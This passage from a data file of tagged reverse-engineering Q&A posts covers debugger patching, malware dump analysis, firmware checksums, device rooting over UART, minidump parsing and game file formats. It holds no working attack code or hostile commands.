+" +"['ida', 'debugging', 'anti-debugging']"," Title: IDA Pro Debbuger is debugging the original code and not the patched codeBody: Using IDA Pro, I tried to patch int 2Dh to nop. +However, with the debugger, it seems that the original code is being loaded. +What may be the reason for that? This might be related for some protections? I'm new to RE and to IDA. I did not yet analyze deeply the routines before the int 2Dh anti-debug technique. +The view during static analysis is: + +The view during debug is: + +As you may notice, the original int 2Dh command has been reverted. +" +"['ida', 'injection']"," Title: How to analyze dumped process?Body: I'm trying to reverse engineer a malware which uses a Process Hollow technique. This malware uses an API hashing technique and contains some RC4 encryption algorithm references. +I already knew the entry point of the resumed thread and dumped it out but IDA failed to analyze the dumped code. +What should I do? +

Solution:

+After dumping the injected code I have to fix the alignment of the file. According to https://reverseengineering.stackexchange.com/a/21932/36056 +In IDA, the final address is calculated by +(base << 4) + offset so I have to set the loading segment to 0 and the loading offset to the BaseAddr of injected code +

Defeat dynamic resolving to lable APIs in IDA:

+I set a bp on GetProcAddress to build a table of APIs and then use a tool called apiscout https://github.com/danielplohmann/apiscout to dynamically resolve all APIs in IDA +" +"['ida', 'windows', 'assembly', 'exploit', 'executable']"," Title: How to find bugs in a modern desktop application with reverse enginnering?Body: I would like to clarify the context for the question: I have studied different types of exploiting but all the studies I have carried out were with command line programs and with functions that I already knew beforehand. It is taking me a lot of effort to find on the internet how to analyze a normal application and look for vulnerabilities. If anyone knows any methodology, any video where it explains and shows or some information on how to perform a reverse engineering and analysis of a desktop application to find bugs, I would greatly appreciate it. Since all the examples I find are from binaries and I have also tried looking in exploit-db but there is like seeing the solution of the problem without seeing the analysis. I would like to learn how to perform a black box analysis on a modern desktop application today. +" +"['firmware', 'ghidra']"," Title: Fujifilm Firmware ChecksumBody: I'm working on reverse engineering the firmware for my Fujifilm HS20EXR. +I've figured out most of it, but I am currently stuck on what I am fairly certain is a checksum. If I modify it, the camera says the firmware is broken. Of course, the same thing happens when I modify the firmware payload. I've tried CRC32, CRC16, MD5sum, but I can't figure out how to reproduce the checksum. +Here's a brief layout of the firmware file: +
Size in bytes  Description
+4              Hardware or OS version
+512            Model information (consistent on firmware updates for same model)
+8              Firmware version
+4              Checksum (different on all firmwares) In this case, `8A 73 D8 D4`, or 0xd4d8738a.
+4              Checked several firmwares, generally just "1".
+variable       Payload (bit flipped)
+
+(I've gotten the payload disassembled, but I haven't been able to
+get the strings correctly referenced to the code.) +Any advice or recommendations would help greatly. +I've stored my code over at https://github.com/petabyt/fujifilm. If you want to try it out, you should be able to run: +
wget https://dl.fujifilm-x.com/support/firmware/hs20WAkw7ifA/FPUPDATE.DAT -O hs20exr.DAT
+make t=u f=hs20exr.DAT
+
+" +"['ida', 'idapython', 'idc']"," Title: Passing a pointer to a pointer to a string with IDA Pro's AppcallBody: I need to call an encryption function in a program with the following signature (the second argument is returned): +
char** __usercall decode(char** input, char** output)
+
+As far as I can tell, Appcall should be used for this kind of thing. There's an example given for functions that take pointers to character arrays, but there's no documented way to use functions that take pointers to pointers to character arrays. +How can I do this? +" +['ida']," Title: IDA Pro don't understand address extension register in HC16Body: Source: +
ROM:13A2 006                 ldab    #0Fh            ; Load B
+ROM:13A4 006                 ldx     #0FA27h         ; Load IX
+ROM:13A8 006                 tbxk                    ; Transfer B to XK
+ROM:13AA 006                 ldaa    #55h            ; Load A
+ROM:13AC 006                 staa    0, X            ; Store A
+
+Every time I see this, I must calculate in my mind, what it is storing to REGISTER_NAME with address 0xFFA27 (and also save all register addresses in my mind). For some reason, IDA ignores the register description in *.cfg with 0xFFA27 address and with 0xFA27 as well (I've tried that). +Can I setup IDA to generate something more human readable? Like +
ROM:13AC 006                 staa    0, X                 ; Store A to 0xFFA27
+
+or +
ROM:13AC 006                 staa    0, X ; REGISTER_NAME ; Store A to 0xFFA27
+
+Because 90% of my code consists of similar expressions. +PS I'm very new, so be patient please. +" +['ghidra']," Title: Access data at memory address that is part of a structBody:

Problem

+I have a struct of some type, say the DOS header at the beginning of a typical PE file: +
/DOS/IMAGE_DOS_HEADER
+pack(disabled)
+Structure IMAGE_DOS_HEADER {
+   0   char[2]   2   e_magic   "Magic number"
+   2   word   2   e_cblp   "Bytes of last page"
+   4   word   2   e_cp   "Pages in file"
+   6   word   2   e_crlc   "Relocations"
+   8   word   2   e_cparhdr   "Size of header in paragraphs"
+   10   word   2   e_minalloc   "Minimum extra paragraphs needed"
+   12   word   2   e_maxalloc   "Maximum extra paragraphs needed"
+   14   word   2   e_ss   "Initial (relative) SS value"
+   16   word   2   e_sp   "Initial SP value"
+   18   word   2   e_csum   "Checksum"
+   20   word   2   e_ip   "Initial IP value"
+   22   word   2   e_cs   "Initial (relative) CS value"
+   24   word   2   e_lfarlc   "File address of relocation table"
+   26   word   2   e_ovno   "Overlay number"
+   28   word[4]   8   e_res[4]   "Reserved words"
+   36   word   2   e_oemid   "OEM identifier (for e_oeminfo)"
+   38   word   2   e_oeminfo   "OEM information; e_oemid specific"
+   40   word[10]   20   e_res2[10]   "Reserved words"
+   60   dword   4   e_lfanew   "File address of new exe header"
+   64   byte[64]   64   e_program   "Actual DOS program"
+}
+Size = 128   Actual Alignment = 1
+
+at address 00400000 in memory that is initialized as part of the loader and has some fixed values. It's already defined as a struct in Ghidra, e.g. by some auto analysis. + +Now I want to get the value of e.g. e_cp, the "Pages in file", in this case 3, ideally as a proper Ghidra datatype in case that is a pointer, address or some more complex datatype. Ideally I want to access it by the name "e_cp" and not by hardcoding the offset. +

Attempts

+getDataAt(currentProgram.imageBase + 4), returns null, +etDataContaining(currentProgram.imageBase + 4) returns a DataDB object for the entire IMAGE_DOS_HEADER struct. +How can I get the actual value in memory at a known address, that is part of a struct? +" +['breakpoint']," Title: What is Hardware Breakpoint and when we need to use it?Body: In part 5 of the lena151 RE tutorial I saw the Hardware BP. +The explanation he gave was very difficult for me to understand. +Can anyone explain what is a hardware breakpoint and when we need to use it? +" +"['windows', 'decompilation', 'ghidra', 'exe']"," Title: How to find main() of Windows EXE with Ghidra?Body: I'm new to Ghidra, my goal is to add localizations for a small EXE program. The program was written in Visual Studio and has Russian dialogs, which I like to convert to English. +I've loaded the EXE into Ghidra, it shows up a lot of information: +
    +
  • visualstudio:unknown
  • +
  • Portable Executable (PE)
  • +
  • Little Endian
  • +
  • and much more +Then I let it analyze the program. After that, I'd like to find is the main() function. In the "Symbol Tree" under "Exports" or "Functions" there is only an "entry" function shown, and the decompile of this function makes no sense to me:
  • +
+
/* WARNING: Instruction at (ram,0x0045280e) overlaps instruction at (ram,0x0045280d)
+    */
+/* WARNING: Removing unreachable block (ram,0x004527db) */
+/* WARNING: Removing unreachable block (ram,0x00452823) */
+/* WARNING: Removing unreachable block (ram,0x004527a1) */
+
+ulonglong entry(void)
+
+{
+  undefined8 uVar1;
+  ulonglong uVar2;
+  uint uVar3;
+  int iVar4;
+  int iVar5;
+  
+  iVar4 = -1;
+  while (iVar4 != 0) {
+    iVar4 = 0;
+  }
+  uVar3 = 0;
+  iVar4 = -1;
+  while (iVar4 != 0) {
+    iVar4 = 0;
+  }
+  uVar1 = rdtsc();
+  iVar4 = 1;
+  do {
+    if (uVar3 == 0) {
+      uVar3 = 0;
+    }
+    else {
+      uVar3 = (uint)uVar1 | 2;
+    }
+    iVar5 = -1;
+    while (iVar5 != 0) {
+      iVar5 = 0;
+    }
+    iVar4 = iVar4 + -1;
+  } while (iVar4 != 0);
+  uVar2 = rdtsc();
+  uVar3 = (int)uVar2 - (uint)uVar1;
+  do {
+  } while (0x1000000 < uVar3);
+  iVar4 = -1;
+  while (iVar4 != 0) {
+    iVar4 = 0;
+  }
+  iVar4 = -1;
+  while (iVar4 != 0) {
+    iVar4 = 0;
+  }
+  return uVar2 & 0xffffffff00000000 | (ulonglong)uVar3;
+}
+
+I don't get what this means, I somehow expected a whole function-tree with a lot of subs and stuff. +" +"['linux', 'serial-communication', 'kernel']"," Title: Launching Linux kernel on UART serial interface, but can't login because key-mappings change randomlyBody: I am trying to root an old Linux device I have, it uses the CFE bootloader by Broadcom. I know the username and the password, but something really strange happens when I try to login. +I get a prompt for username and I can type it in fine, however, the prompt for the password allows me to enter only the A-D0-9 characters and the space (capitals only). +If I change the kernel boot arguments so that init=/bin/sh, I get a bash shell, but I have the same issue. I can type in only the A-D0-9 characters and the space. +The strange thing is, I can enter the username fine and interact with the CFE Bootloader CLI interface perfectly fine. +It seems to me that the Linux kernel might be doing something weird with maybe the locale? Any ideas what I can check? +I have tried two different USB → UART TTL devices and I have the same issue with both. +Edit: I've also tried resetting the USB → UART TTL Adapter in between entering the username and the password or interacting with the bash shell. So it definitely has something to do with kernel state. Possibly an anti-tamper / protection mechanism?? +EDIT: Looks like keymap.xml is completely empty. Could this be the cause? +" +"['arm', 'qemu', 'kernel']"," Title: Finding (or building) a kernel for Huawei EchoLife EG8145V5Body: I have a Huawei EchoLife EG8145V5 for which I am trying to build some software. It has a built-in Linux distro of some sort, but I would like to add to it, as there is "plenty" of storage space available. The system is built around BusyBox. +However, to build the software, I need to set up a build environment that matches the CPU architecture, and this is where I come up short, as I am unable to find a kernel that I can use with QEMU. I did find one kernel, but it did not produce a compatible binary. +The only thing I know is what I get from cat /proc/cpuinfo: +
processor   : 0
+model name  : ARMv7 Processor rev 1 (v7l)
+BogoMIPS    : 1594.16
+Features    : swp half thumb fastmult edsp thumbee tls 
+CPU implementer : 0x41
+CPU architecture: 7
+CPU variant : 0x4
+CPU part    : 0xc09
+CPU revision    : 1
+CPU physical    :0
+
+processor   : 1
+model name  : ARMv7 Processor rev 1 (v7l)
+BogoMIPS    : 1594.16
+Features    : swp half thumb fastmult edsp thumbee tls 
+CPU implementer : 0x41
+CPU architecture: 7
+CPU variant : 0x4
+CPU part    : 0xc09
+CPU revision    : 1
+CPU physical    :1
+
+Hardware    : Hisilicon A9
+Revision    : 0000
+Serial      : 0000000000000000
+
+I am unable to find the kernel image itself stored anywhere, which would make this a whole lot easier. So, what should be my next step? Anything else I can do to find the details I need to set up a good qemu dev environment? +I do have a setup based around the cortex-a9 and the vexpress-a9 machine, plus some kernel I found somewhere (can't remember where) and it is working to some degree. It's just that dynamically linked binaries won't work, even after patching it with patchelf --set-soname and patchelf --set-soname - I either get segfault or permission denied. +EDIT 1: +I did manage to find the kernel config. It's a bit too long to paste here, but are there any lines I should look for that should lead me on the right track? +EDIT 2: +I've managed to extract the busybox binary from the router. file busybox produces this: +
ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /mnt/jffs2/app/output/ld-linux.so.3, for GNU/Linux 2.6.26, BuildID[sha1]=736041808c34871ed689d38e7cacfe18b1e65736, stripped
+
+" +"['ida', 'python']"," Title: IDA Pro 7.5 Breakpoint Python Script: 'invalid non-printable character U+FEFF'Body: I'm trying to set a python condition breakpoint, but it throws me a weird error and I don't understand what happens: + +Even if I just return True, it throws the same error when I compile or when press "OK" twice. + +The python console works fine. IDC works fine. +IDA Pro v7.5.200728 +Python 3.9.5 +Any idea? Thanks in advance. +Solve: +https://hex-rays.com/blog/python-3-9-support-for-ida-7-5/ +Download the patch and replace the files. +" +"['windbg', 'stack']"," Title: What is the structure of the Stack in a minidump?Body: I'm currently using Python3.9 in Linux to obtain the necessary information from a minidump file. I used WinDBG on my windows system to check whether the information I got was right. +While [1], [2] and [3] have helped, there are still some holes that aren't covered. The purpose of this is to create a script that can disect the minidump. I've managed to get the ThreadList, MemoryList, MemoryInfoList and moduleList. But I'm missing the stack +information, which seems to be within the MINIDUMP_THREAD info's Stack field as shown below: +
typedef struct _MINIDUMP_THREAD {
+  ULONG32                      ThreadId;
+  ULONG32                      SuspendCount;
+  ULONG32                      PriorityClass;
+  ULONG32                      Priority;
+  ULONG64                      Teb;
+  MINIDUMP_MEMORY_DESCRIPTOR   Stack;
+  MINIDUMP_LOCATION_DESCRIPTOR ThreadContext;
+} MINIDUMP_THREAD, *PMINIDUMP_THREAD;
+
+It's a MINIDUMP_MEMORY_DESCRIPTOR which has the following structure: +
typedef struct _MINIDUMP_MEMORY_DESCRIPTOR {
+  ULONG64                      StartOfMemoryRange;
+  MINIDUMP_LOCATION_DESCRIPTOR Memory;
+} MINIDUMP_MEMORY_DESCRIPTOR, *PMINIDUMP_MEMORY_DESCRIPTOR;
+
+The Memory field has the following structure: +
typedef struct _MINIDUMP_LOCATION_DESCRIPTOR {
+  ULONG32 DataSize;
+  RVA     Rva;
+} MINIDUMP_LOCATION_DESCRIPTOR;
+
+So all in all, the Stack.Rva contains the relative virtual address in the minidump file. +Going to that address, I see 'stuff' but at this point in the documentation, there's no indication of what structure is stored there. I thought it'd be a STACKFRAME structure (was grasping at straws) which is given as: +
typedef struct _tagSTACKFRAME {
+  ADDRESS AddrPC;
+  ADDRESS AddrReturn;
+  ADDRESS AddrFrame;
+  ADDRESS AddrStack;
+  PVOID   FuncTableEntry;
+  DWORD   Params[4];
+  BOOL    Far;
+  BOOL    Virtual;
+  DWORD   Reserved[3];
+  KDHELP  KdHelp;
+  ADDRESS AddrBStore;
+} STACKFRAME, *LPSTACKFRAME;
+
+But looking at the hex values, it doesn't make sense: +
00 00 00 00 D1 F8 AF 77 29 16 6B 77 C8 01 00 00
+00 00 00 00 00 00 00 00 D0 87 C0 BD E0 60 85 00
+c8 01 00 00 28 c1 39 00 24 00 00 00 01 00 00 00
+00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00 00 00 00 00 2B 00 2B 00
+87 02 21 00 00 00 00 00 AC BF 39 00 AB F0 6A 77
+...
+
+
+That would mean AddrPC = {Offset: 00 00 00 00, +Segment: D1 F8 AF 77, +Mode: 29} +So I figured I'd cheat by running Windbg on this crashdump +file to find the corresponding info; but I don't see how the above +hex dump can be translated to the following: +
00 0039bf98 776b1629 000001c8 00000000 00000000 ntdll!NtWaitForSingleObject+0x15
+01 0039c004 75491194 000001c8 ffffffff 00000000 KERNELBASE!WaitForSingleObjectEx+0x98
+02 0039c01c 75491148 000001c8 ffffffff 00000000 kernel32!WaitForSingleObjectExtImplementation+0x75
+03 0039c030 5a581e3a 000001c8 ffffffff 00000000 kernel32!WatiForSingleObject+0x12
+...
+
+While I can see some of the info from windbg's call stack, the information isn't a contiguous set of info. +Unfortunately, my understanding of C++/C is limited at best so I couldn't grasp the information as given in [5] +Might anyone have suggestion on how to reverse engineer the structure of what's at this address? +I know it's some sort of structure that includes a list of stackframes; but the documentation at [1] doesn't specify what kind of structure. I'm guessing there's a header and some array of structure. Unfortunately, I haven't found (yet) documentation that shows a map of a minidump (akin to [4]). Something like this would make my understanding easier. +*Addendum:* +Having worked on this on and off, I still haven't figured it out despite @blabb's help. I went and took a look at [6] which points out the Stack structure for X86. Having lost my original dump file, I used a new dump file. I used a minidump_stackwalker binary that came up with the following: (The rva of the crashing thread was 0x0141ff - binary dump follows) +

+Crash reason:  EXCEPTION_ACCESS_VIOLATION_READ
+Crash address: 0x8
+
+Thread 0 (crashed)
+ 0  k.dll + 0x310bf3f
+    eip = 0x5d42bf3f   esp = 0x0053bea0   ebp = 0x0053bf74   ebx = 0x0053bed0
+    esi = 0x00a1b000   edi = 0x0053bf98   eax = 0x00000008   ecx = 0x00000004
+    edx = 0x0053bfb0   efl = 0x00210287
+    Found by: given as instruction pointer in context
+ 1  k.dll + 0x310bc3b
+    eip = 0x5d42bc3c   esp = 0x0053bf7c   ebp = 0x0053bfd8
+    Found by: previous frame's frame pointer
+ 2  k.dll + 0x311e7b3
+    eip = 0x5d43e7b4   esp = 0x0053bfe0   ebp = 0x0053c004
+    Found by: previous frame's frame pointer
+ 3  k.dll + 0x3280958
+    eip = 0x5d5a0959   esp = 0x0053c00c   ebp = 0x0053c064
+    Found by: previous frame's frame pointer
+...
+
+binary dump at 0x0141ff: +
000141f0h: FC EC 23 00 00 00 00 AC 03 00 00 34 7B 03 00 8B
+00014200h: 55 18 8B 45 0C FF 24 8D CC 4A D7 5D C7 44 24 14
+00014210h: 00 00 00 00 8D 4E 10 89 4C 24 0C 8B 56 10 89 54
+00014220h: 24 10 8D 54 24 0C 89 56 10 8B 00 89 44 24 04 8B
+00014230h: 07 89 44 24 38 89 4c 24 30 89 54 24 34 c7 44 24
+...
+
+From what I gathered from [6], since this is a x86 binary, +I assumed [possibly wrongly] that it'd be using the +stack structure as given by [6] and not [7]. +That would mean the context_flags starts at 0x000141ff which gives me 8B 55 18 8B. From the comments in [6], this context_flag means this stack is a MD_CONTEXT_X86_ALL. So after using the following script: +
#!/bin/env python
+
+import os
+import sys
+
+
+
+hdrs_x86 = {
+    "context_flags": 4,
+    "dr0": 4,
+    "dr1": 4,
+    "dr2": 4,
+    "dr3": 4,
+    "dr6": 4,
+    "dr7": 4,
+    "fs_control_word": 4,
+    "fs_status_word": 4,
+    "fs_tag_word": 4,
+    "fs_error_offset": 4,
+    "fs_error_selector": 4,
+    "fs_data_offset": 4,
+    "fs_data_selector": 4,
+    "fs_register_area": (1, 80),
+    "fs_cr0_npx_state": 4,
+    "gs": 4,
+    "fs": 4,
+    "es": 4,
+    "edi": 4,
+    "esi": 4,
+    "ebx": 4,
+    "edx": 4,
+    "ecx": 4,
+    "eax": 4,
+    "ebp": 4,
+    "eip": 4,
+    "cs": 4,
+    "eflags": 4,
+    "esp": 4,
+    "ss": 4,
+    "extended_registers": (1, 80)
+}
+
+hdrs_x64 = {
+    "p1_home": 8,
+    "p2_home": 8,
+    "p3_home": 8,
+    "p4_home": 8,
+    "p5_home": 8,
+    "p6_home": 8,
+    "context_flags": 4,
+    "mx_csr": 4,
+    "cs": 2,
+    "ds": 2,
+    "es": 2,
+    "fs": 2,
+    "gs": 2,
+    "ss": 2,
+    "eflags": 4,
+    "dr0": 8,
+    "dr1": 8,
+    "dr2": 8,
+    "dr3": 8,
+    "dr6": 8,
+    "dr7": 8,
+    "rax": 8,
+    "rcx": 8,
+    "rdx": 8,
+    "rbx": 8,
+    "rsp": 8,
+
+    "rsp": 8,
+    "rbp": 8,
+    "rsi": 8,
+    "rdi": 8,
+    "r8": 8,
+    "r9": 8,
+    "r10": 8,
+    "r11": 8,
+    "r12": 8,
+    "r13": 8,
+    "r14": 8,
+    "r15": 8,
+    "rip": 8
+}
+
+MDCTXX86 = 0x00010000
+MDCTXX86_CONTROL = MDCTXX86 | 0x00000001
+MDCTXX86_INTEGER = MDCTXX86 | 0x00000002
+MDCTXX86_SEGMENTS = MDCTXX86 | 0x00000004
+MDCTXX86_FLOATING_POINT = MDCTXX86 | 0x00000008
+MDCTXX86_DEBUG_REGISTERS = MDCTXX86 | 0x00000010
+MDCTXX86_EXTENDED_REGISTERS = MDCTXX86 | 0x00000020
+MDCTXX86_XSTATE = MDCTXX86 | 0x00000040
+
+MDCTXX86_FULL = MDCTXX86_CONTROL | MDCTXX86_INTEGER | MDCTXX86_SEGMENTS
+
+ALL_P1 = MDCTXX86_FULL | MDCTXX86_FLOATING_POINT 
+ALL_P2 = MDCTXX86_DEBUG_REGISTERS | MDCTXX86_EXTENDED_REGISTERS
+MDCTXX86_ALL = ALL_P1 | ALL_P2 
+
+
+def rev_item(in_bytes, no_rev=False):
+    tmp = [x for x in in_bytes]
+    if not no_rev:
+        tmp.reverse()
+    retval = []
+    for item in tmp:
+        hv = hex(item).replace("0x", "")
+        if len(hv) < 2:
+            hv = "0" + hv
+        retval.append(hv)
+    return retval
+
+
+def is_dr(in_ctx, in_item):
+    return in_ctx is not None and \
+        in_item in ["dr0", "dr1", "dr2", "dr3", "dr6", "dr7"] and \
+        in_ctx & MDCTXX86_DEBUG_REGISTERS > 0
+
+
+def is_seg(in_ctx, in_item):
+    return in_ctx is not None and \
+        in_item in ["gs", "fs", "es", "ds"] and \
+        in_ctx & MDCTXX86_SEGMENTS
+
+
+def is_int(in_ctx, in_item):
+    return in_ctx is not None and \
+        in_item in ["edi", "esi", "ebx", "edx", "ecx", "eax"] and \
+        in_ctx & MDCTXX86_INTEGER
+
+
+def is_fp(in_ctx, in_item):
+    return in_ctx is not None and \
+        in_item.startswith("fs_") and \
+        in_ctx & MDCTXX86_FLOATING_POINT
+
+
+def is_control(in_ctx, in_item):
+    return in_ctx is not None and \
+        in_item in ["ebp", "eip", "cs", "eflags", "esp", "ss"] and \
+        in_ctx & MDCTXX86_CONTROL
+
+
+def is_ext_reg(in_ctx, in_item):
+    return in_ctx is not None and \
+        in_item in ['extended_registers'] and \
+        in_ctx & MDCTXX86_EXTENDED_REGISTERS
+
+
+def check_for_ctx(in_ctx, in_item):
+    retval = False
+    for itemfn in [is_dr, is_seg, is_int, is_fp,
+                   is_control, is_ext_reg]:
+        retval = itemfn(in_ctx, in_item)
+        if retval:
+            break
+
+    return retval
+
+
+res = []
+res2 = []
+
+hdrv = {}
+
+hdrs = hdrs_x86
+
+with open("e:\\test.dmp", 'rb') as fp:
+    addr = 0x141ff
+    fp.seek(addr)
+    ctx = None
+    for item, item_rl in hdrs.items():
+        read_len = item_rl
+        add_item = False
+
+        if isinstance(item_rl, tuple):
+            vr = []
+            read_len = item_rl[0]
+            for i in range(item_rl[1]):
+                tmp = fp.read(read_len)
+                tmph = tmp.hex().replace("0x", "")
+                vr.append(tmph)
+            read_len = item_rl[1]
+        else:
+            v = fp.read(item_rl)
+            vr = rev_item(v, no_rev=True)
+            if item == "context_flags":
+                ctx = int("".join(vr), 16)
+
+        if check_for_ctx(ctx, item):
+            if item not in hdrv:
+                hdrv[item] = vr
+        addr += read_len
+
+for item, iteminfo in hdrv.items():
+    print(item, "".join(iteminfo))
+
+It displays +
dr0 450cff24
+dr1 8dcc4ad7
+dr2 5dc74424
+dr3 14000000
+dr6 008d4e10
+dr7 894c240c
+fs_control_word 8b561089
+fs_status_word 5424108d
+fs_tag_word 54240c89
+fs_error_offset 56108b00
+fs_error_selector 89442404
+fs_data_offset 8b078944
+fs_data_selector 2438894c
+fs_register_area 243089542434c744242c00000000894c24248d442438895c24288d4c2424894e108d4c242c31ff515056e89a6adfff83c40c84c074178d4424186a09ff74243050e813aedfff83c40c8b7c24188b4424
+fs_cr0_npx_state 248b4c24
+gs 2889088b
+fs 4424308b
+es 4c243489
+edi 08897c24
+esi 1485ffb3
+ebx 010f841a
+edx 0300008d
+ecx 4424148b
+eax 54240489
+ebp d1c1f91f
+eip 6a005152
+cs e9de0200
+eflags 000fbe00
+esp e94d0100
+ss 00c74424
+extended_registers 14000000008d4e10894c240c8b5610895424108d54240c8956108b00894424048b0789442438894c243089542434c744242c00000000894c24248d442438895c24288d4c2424894e108d4c242c31ff51
+
+
+But this doesn't make any sense as it doesn't even bear any resemblance to what's given in the results. Like I got d1c1f91f as the EBP, but it's actually 0x0053BF74 +Ergo, I've misunderstood this whole thing. +*Additional Addendum*: +The addendum was wrong on two points. +
    +
  1. I was barking up the wrong tree. I mistook the minidump Memory info list as where the stack was.
  2. +
  3. I was working on the same minidump. Just was confused with +what section I was working on.
  4. +
+I've opted to keep the Addendum section and not delete it. (Along the lines of 1000 ways of not doing something.) +Any help greatly appreciated, +:ewong +[1] - https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/ +[2] - https://github.com/utds3lab/sigpath/blob/master/scripts/minidump.py +[3] - https://github.com/libyal/libmdmp/blob/main/documentation/Minidump%20%28MDMP%29%20format.asciidoc#thread_information_stream +[4] - https://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/Portable_Executable_32_bit_Structure_in_SVG_fixed.svg/1920px-Portable_Executable_32_bit_Structure_in_SVG_fixed.svg.png +[5] - https://chromium.googlesource.com/breakpad/breakpad/+/refs/heads/main/src/client/minidump_file_writer.cc +[6] - https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_x86.h +[7] - https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_amd64.h +" +"['arm', 'stack-protector']"," Title: Where stack canary is located?Body: Is stack canary located between the local variable in stack and the place that the function saved the registers in the beginning of function? push r5,lr +so I can't change any registers (while the function pop them from stack) ? Or only protect on the place of PC register? +" +"['x64dbg', 'anti-debugging', 'crackme', 'anti-dumping']"," Title: How to bypass anti-debugging C++Body: So I have a crackme my friend sent to try and crack it but the problem that I cannot bypass the anti-debugging or even patching it. +I even tried using ScyllaHide at max settings but still it detects that there's a debugger and close itself without any message, and it encrypts its strings in memory, so I can't get the key. +How can I prevent it from detect if there was a debugger or getting the key from memory? (BTW I knew that it encrypts string being entered and compares it to the another encrypted string) +" +"['c', 'winapi', 'asm', 'uefi']"," Title: How to hack fan control speed?Body: So I recently bought a new laptop (Acer Aspire A315-57g) on which I found that the cooling solution wasn't optimal, and I decided that I want more RPMs from my fan. However, I wasn't able to find a working software that is able to max it out. +So I have IDA on my disposal, I have Win32, C, C++, x86/-64 asm knowledge - Visual Studio 2022 Preview with C++ workload installed - where do I begin? +I tried numeral hacks (involving installing Acer gaming laptop tuning tool Predator control or something with simple WMI spoof), enabling "Cool Boost" in the registry for Quick Access, I tried Fan Control app from GitHub with different configs. Nothing budged though - the best I got is the rpm meter (in the Acer Predator control). +" +"['windows', 'exploit', 'patch-reversing', 'api-reversing', 'api-hacking']"," Title: There is a course in which they teach you to use WinAFL?Body: I would like to know if there is a course that begins in a basic way, such as how to use winAFL to find bugs in app desktop. +" +"['firmware', 'intel']"," Title: Unable to find the pci device mentioned in the processor datasheetBody: I have following intel processor 4th Generation Core Processor (Haswell U/Y). +I want to check the value of PMBASE register in the processor. For that I have downloaded the processor datasheet, where I found that PMBASE is present at B:D:F 0:1:0. Here is the screenshot + +The VID and DID of the device are mentioned below (from the same datasheet) + +But, now when I am doing lspci from my linux machine, I am not seeing device 0:1:0. I have even checked with chipsec tool. Even there I am not seeing any device with device id 0x0c01.
+Any reason why such discrepancy is there? +" +"['binary-analysis', 'file-format', 'binary-format']"," Title: Proprietary 3D Format Reverse Engineering: What Could These Numbers And Matrices Represent?Body: I'm trying to reverse engineer a model format from an older Russian game (Pathologic) with limited success. It is a proprietary model format not recognized by any converters/editing tools (believe me, I've tried! someone on the fan forums confirmed this with the person behind the engine, also). I'd like to be able to read the models into a potential open-source recreation of the original engine. The original game uses Direct3D and is from 2005, so I read up on relevant docs to get a start. Unfortunately, it's not the "x" model format. +What I've got so far (for a simple mesh): +
    +
  • Texture file name/location
  • +
  • Number of faces and vertices
  • +
  • UV coordinates for each vertex
  • +
  • Vertex buffer
  • +
+Things I'm struggling to understand (least to most important) +
    +
  • File header: what could it mean? +
  • +
  • "Arbitrary" padding in the file: what could determine its size? +
  • +
  • 12-element float matrices. Could be transformation matrices without the last row - to use with homogenous coordinate systems, but there's 6 of them in a mesh with 4 vertices and 2 faces - isn't that too many? +
  • +
  • Mysterious 4 bytes describing each vertex: some kind of a color format? +
  • +
  • Mysterious sets of 3 32-bit floats repeating multiple times - what could it be? +
  • +
  • Where could the vertex normals be stored? +
  • +
+Attached is a very simple mesh (way under 1kB) I'm studying before moving on to the more complex ones. I believe it to be a simple textured plane. I've started with a similar mesh that was in XY plane, this one seems to be oriented a bit more arbitrarily. Since it's a plane, I assume it has 4 vertices and 2 faces. +Simple Mesh +File's structure as far as I can understand it +
    +
  • Header at 0x00.
  • +
  • Texture Filename Length at 0x11 (16 characters here)
  • +
  • 1 byte padding
  • +
  • Texture filename (h2_door_DXT1.tex)
  • +
  • 1 byte padding
  • +
  • Number of vertices at 0x23 (4 vertices)
  • +
  • Number of faces at 0x27 (2 faces)
  • +
  • 12 bytes of recurring 3x 4-byte floats (first occurrence)
  • +
  • Mysterious float
  • +
  • 12 bytes of recurring 3x 4-byte floats (second occurrence)
  • +
  • 12-element float matrix (transformation matrix?)
  • +
  • 73 bytes of unknown data
  • +
  • 12 bytes of recurring 3x 4-byte floats (third occurrence) at 0xC0
  • +
  • Data for four vertices at 0xCC. For each vertex, there's 3x int16 for X,Y,Z coordinates, then, 4 mysterious bytes, finally, 2 32-bit floats for UV coordinates.
  • +
  • Vertex buffer at 0x114. Two triangle descriptions, for each there's 3x int16 for the vertex IDs.
  • +
+After that it becomes a mix of 12-element float matrices and the recurring 3x floats with some padding/magic numbers between them. + +I'd appreciate any and all help with answering my questions/helping with the bullet points I'm struggling on. I could also provide other mesh examples as needed. +" +"['dll', 'msvc']"," Title: What's the meaning of @ tag on proxy dll?Body: In proxy dll in .def file I can see the following notation: +
_CreateFrameInfo=PROXY__CreateFrameInfo @1
+
+Others use in the following format: +
 _AIL_3D_position@16 = vcruntime140_._AIL_3D_position@16 
+
+What is the meaning of @ tag in that notation? +Also, I have run the Dependency Walker on that program. It returned Hint: 1 (0x0001), 5(0x0005), etc. Are these related? There are less hints than functions though... +" +"['ida', 'windows', 'binary-analysis', 'x86', 'debuggers']"," Title: Can't figure out a crash in IDA ""The memory could not be read -> 00000710 (exc.code c0000005, tid 20612)""Body: I'm trying to debug out a game. Basically, the Steam version works perfectly but the GOG version (which is 8kb smaller) has an annoying problem where for some people (which happen to be me) the game will simply not work. It's gonna crash and there's no known solution so I thought about trying to debug it (I'm fairly new to debugger even though I've used IDA for a while). When I load the game in the debugger, I get an error from IDA saying: +
+"The memory could not be read -> 00000710 (exc.code c0000005, tid 20612)" +
